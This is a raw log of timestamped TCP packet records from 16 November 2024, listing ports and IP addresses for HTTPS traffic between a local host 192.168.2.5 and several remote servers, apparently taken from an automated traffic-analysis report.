Nov 16, 2024 23:36:21.604108095 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.604108095 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.604154110 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.604183912 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.606761932 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.606761932 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.606801033 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.606812000 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.606880903 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.606956959 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607413054 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607440948 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.607494116 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607575893 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607598066 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.607734919 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607734919 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607748985 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.607762098 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.607775927 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.607790947 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.607811928 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.608129978 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.608140945 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.647053003 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.647258043 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.647267103 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.648235083 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.648291111 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.649117947 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.649179935 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.649269104 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.649276972 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.695517063 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.695579052 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.695652008 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.695714951 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.695749998 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.695781946 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.695815086 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.695892096 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.695924997 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.695950985 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.695965052 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.698360920 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.698393106 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.698466063 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.698611975 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.698627949 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.698914051 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.757354975 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:21.757390022 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:21.757477045 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:21.757710934 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:21.757726908 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:21.794054985 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:21.794090986 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:21.794202089 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:21.794399977 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:21.794414043 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:21.885602951 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:21.885617018 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:21.885683060 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:21.887531042 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:21.887545109 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:21.904800892 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.904844999 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.904875994 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.904889107 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.904900074 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.904943943 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.904952049 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.905469894 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.905510902 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.905519009 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.914159060 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.914210081 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.914217949 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.964545965 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:21.964553118 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.011559010 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.022217035 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.022278070 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.022352934 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.022361040 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.035202026 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.035259962 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.035268068 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.040026903 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.040083885 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.040091991 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.049592018 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.049649000 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.049654961 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.059007883 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.059067011 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.059075117 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.068440914 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.068495035 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.068501949 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.078032017 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.078102112 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.078109026 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.087512016 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.087574959 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.087580919 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.096549034 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.096618891 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.096626043 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.139413118 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.139470100 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.139538050 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.139547110 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.139599085 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.139605045 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.139775991 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.139820099 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.139832973 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.152496099 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.152535915 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.152551889 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.152565002 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.152610064 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.152620077 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.165688038 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.165745020 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.165752888 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.169426918 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.169491053 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.169497967 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.176537991 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.176592112 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.176599026 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.183183908 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.183234930 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.183243036 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.189745903 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.189821959 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.189830065 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.196619034 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.196672916 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.196681023 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.202946901 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.203000069 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.203006983 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.209453106 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.209506035 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.209513903 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.216110945 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.216176987 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.216183901 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.222584009 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.222645998 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.222652912 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.229140043 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.229197025 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.229202986 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.235846996 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.235925913 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.235934019 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.242273092 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.242319107 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.242326975 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.248780966 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.248847961 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.248855114 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.255410910 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.255475044 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.255481958 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.261986971 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.262058973 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.262067080 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.268511057 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.268564939 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.268572092 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.274866104 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.274935961 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.274943113 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.281106949 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.281174898 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.281182051 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.287092924 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.287148952 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.287156105 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.292834044 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.292893887 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.292901039 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.299012899 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.299079895 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.299087048 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.304562092 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.304613113 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.304620028 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.308264017 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.308310032 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.308317900 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.311778069 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.311853886 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.311861038 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.311992884 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.312031031 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:22.312083960 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:22.334975004 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.335820913 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.335840940 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.336285114 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.336291075 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.343607903 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.343902111 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.343923092 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.344233990 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.344238997 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.346510887 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.346724987 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.346736908 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.346996069 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.346999884 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.349092007 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.349298954 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.349323034 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.349584103 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.349589109 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.420944929 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.421392918 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.421406031 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.421760082 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.421768904 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.463352919 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.463427067 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.463476896 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.463638067 CET	49727	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.463649035 CET	443	49727	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.467025042 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.467107058 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.467183113 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.467375040 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.467410088 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.472641945 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.472948074 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.473011017 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.473078966 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.473087072 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.473124981 CET	49728	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.473129988 CET	443	49728	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.475481987 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.475493908 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.475564957 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.475567102 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.475613117 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.475653887 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.475780010 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.475811005 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.475825071 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.475833893 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.475842953 CET	49730	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.475847960 CET	443	49730	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.478337049 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.478423119 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.478496075 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.478646994 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.478682995 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.481048107 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.481112003 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.481157064 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.481369972 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.481384039 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.481394053 CET	49729	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.481399059 CET	443	49729	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.483808041 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.483830929 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.483885050 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.484292984 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.484307051 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.551379919 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.551589012 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.551640987 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.551726103 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.551750898 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.551765919 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.551779032 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.555286884 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.555341005 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.555409908 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.555531979 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:22.555548906 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:22.628330946 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.628588915 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.628601074 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.629851103 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.629914045 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.630743027 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.630814075 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.631905079 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.631963968 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.632078886 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.632088900 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.632108927 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.664557934 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:22.664824009 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:22.664855957 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:22.665885925 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:22.665951014 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:22.666354895 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:22.666418076 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:22.675335884 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.682895899 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.715111971 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:22.715147972 CET	443	49734	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:22.755610943 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:22.755686998 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:22.758891106 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:22.758898020 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:22.759306908 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:22.761981964 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:22.808857918 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:22.826704025 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:22.867373943 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:22.913809061 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.965102911 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.965118885 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.966207981 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:22.966393948 CET	443	49733	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:22.966456890 CET	49733	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:23.071671009 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.071815014 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.071868896 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.083398104 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.083419085 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.083432913 CET	49736	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.083440065 CET	443	49736	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.147558928 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:23.147579908 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:23.147654057 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:23.149203062 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.149228096 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.149281979 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.150510073 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.150528908 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.150701046 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:23.150713921 CET	443	49743	4.245.163.56	192.168.2.5
